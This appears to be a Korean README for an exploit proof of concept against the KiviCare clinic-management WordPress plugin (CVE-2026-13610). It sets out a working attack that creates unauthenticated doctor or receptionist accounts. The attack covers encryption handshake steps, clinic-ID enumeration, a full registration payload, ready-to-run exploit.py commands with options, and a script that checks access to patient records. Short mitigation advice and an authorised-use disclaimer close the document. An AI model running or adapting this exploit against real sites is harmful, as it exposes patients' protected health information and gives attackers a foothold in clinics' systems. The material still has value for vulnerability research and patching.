
KiviCare WordPress 플러그인의 부적절한 권한 관리를 악용하여 인증 없이 의사/접수원 계정을 생성함으로써 직원 수준의 PHI 접근 권한을 제공하는 Exploit PoC입니다.
CWE-269 (부적절한 권한 관리) | 공격자가 선택한 직원 역할로 비인증 등록 → 환자 PHI(보호 건강 정보) 노출
KiviCare – 진료소 및 환자 관리 시스템 워드프레스 플러그인(4.5.1 이하 버전)에서 발견된 치명적인 취약점으로, 비인증 공격자가 자신이 선택한 비밀번호로 의사(kiviCare_doctor) 또는 접수원(kiviCare_receptionist) 계정을 등록하고, 공격자가 선택한 진료소에 매핑할 수 있습니다.
이 취약점은 공개 등록 엔드포인트가 요청 본문에서 user_role 파라미터를 그대로 받아들이고, 해당 검증 화이트리스트에 진료소 직원 역할이 포함되어 있기 때문에 발생합니다:
| 게이트 | 동작 | 결과 |
|---|---|---|
permission_callback | is_user_logged_in(), nonce, 권한 검사 없음 | 통과됨; return true로 종료 |
user_role 화이트리스트 | kiviCare_doctor, kiviCare_receptionist, kiviCare_patient 허용 | 공격자가 직원 역할 선택 |
patient_role_only 파라미터 | 기본값 yes로 선언됨 | 읽히지 않음 — 죽은 파라미터 |
| reCAPTCHA | if (isset($params['recaptchaToken']))일 때만 검증 | 파라미터 생략으로 우회됨 |
등록 엔드포인트 POST /wp-json/kivicare/v1/auth/register
(app/controllers/api/AuthController.php:237–242)는
checkRegistrationPermission()(:602–650)으로만 보호되며, 해당 함수는 다음과 같이 동작합니다:
users_can_register가 활성화되어 있으면 (인증 검사 없이) 즉시 true를 반환합니다.KCOption::get()이 null을 반환하므로 기본값이 허용입니다.return true**를 반환합니다.그런 다음 register() 핸들러(:1277–1387)는 요청 본문에서 user_role을 읽어 KCDoctor / KCReceptionist 모델에 매핑하고 $model->save()를 호출합니다. 이 메서드는 일체의 권한 검사 없이 wp_insert_user()와 setRole('kiviCare_doctor')(app/models/KCDoctor.php:136)를 실행합니다. 결과적으로 생성된 계정은 활성 상태이며 공격자가 선택한 진료소에 매핑됩니다.
플러그인의 E2EE 본문 암호화는 장벽이 되지 않습니다. 핸드셰이크 엔드포인트(server-key, config/register-key)는 인증이 필요 없으므로(app/controllers/api/ConfigController.php:190–205), 모든 클라이언트가 게스트 키를 협상하고 암호화된 페이로드를 보낼 수 있습니다.
전체 분석: analysis/TECHNICAL_ANALYSIS.md
1. Handshake (encrypted targets):
POST /wp-json/kivicare/v1/server-key -> server X25519 public key
POST /wp-json/kivicare/v1/config/register-key -> register own public key
(header x_kc_client_id: <anything>, body {"public_key": "<base64>"})
2. Enumerate a valid clinic ID via the validation oracle:
"Invalid clinic selected" -> clinic does not exist
"Username already exists" -> clinic exists
3. Encrypt the payload and send:
POST /wp-json/kivicare/v1/auth/register
body = base64( nonce(24B) || crypto_box(json) )
{
"username": "attacker",
"email": "[email protected]",
"password": "P@ssw0rd-123!",
"first_name": "Att", "last_name": "Acker",
"mobile_number": "+15550133777",
"gender": "male",
"user_role": "kiviCare_doctor", <-- vulnerable parameter
"user_clinic": 1
}
4. HTTP 201 "Registration successful." -> active doctor account created
5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt
python preflight.py http://target.com
python exploit.py --url http://target.com \
--username attacker --email [email protected] --password 'P@ssw0rd-123!'
이 스크립트는 전송 모드(일반 JSON vs E2EE 암호화)를 자동으로 감지하며 --clinic이 제공되지 않으면 진료소 ID를 열거합니다.
python verify_impact.py --url http://target.com \
--username attacker --password 'P@ssw0rd-123!'
REST를 통해 로그인하고 계정의 E2EE 응답 키를 재바인딩한 다음 직원 전용 엔드포인트(/patients, /appointments)를 호출합니다.
--url Target base URL (required)
--username Username to create (default: attacker<random>)
--email Email (default: <username>@evil.example)
--password Password (default: Poc!Passw0rd-2026)
--role kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic Clinic ID (auto-enumerated when omitted)
--mobile Mobile number (default: random +1555...)
--first-name First name (default: Dr)
--last-name Last name (default: Poc)
--gender Gender (default: male)
--no-verify Skip post-creation login verification
공격에 성공하면 인증 없이 실제 진료소에 매핑된 활성 직원 계정을 확보할 수 있습니다:
wp-admin 대시보드 접근 권한(read + upload_files)을 가진 유효한 워드프레스 계정 — 추가 공격을 위한 발판이 엔드포인트는 워드프레스 administrator 계정 생성을 허용하지 않지만(user_role 화이트리스트가 거부함), 의사 역할만으로도 전체 임상 데이터 접근에 충분합니다.
patient_role_only 파라미터를 적용합니다.current_user_can('create_users') + nonce 검증이 적용된 관리자 전용 엔드포인트로 이동합니다.checkRegistrationPermission을 기본 거부 방식으로 변경 — 함수 끝까지 도달하는 return true를 제거합니다.recaptchaToken을 필수로 요구합니다 (현재는 선택 사항).교육 및 승인된 테스트 목적으로만 사용하십시오.
이 도구는 대상 시스템 테스트에 대한 명시적 서면 승인을 받은 보안 연구원과 침투 테스터를 위해 제작되었습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 모든 검증은 저자 소유의 실험실 인프라에서 수행되었습니다.
ghostpels — 보안 연구 및 익스플로잇 개발
이 프로젝트는 ghostpels 보안 연구 라이선스에 따라 라이선스가 부여됩니다.
| 필드 | 값 |
|---|
| CVE ID | CVE-2026-13610 |
| CWE | CWE-269 (부적절한 권한 관리) |
| 플러그인 | KiviCare – 진료소 및 환자 관리 시스템 |
| 영향받는 버전 | 4.5.1 이하 버전 |
| 패치 상태 | 본 분석 시점 기준 미확인 |
| 유형 | 직원 역할의 비인증 계정 생성 (권한 상승) |
| 연구자 | Sai Praneeth Koti |
| 공개일 | 2026 |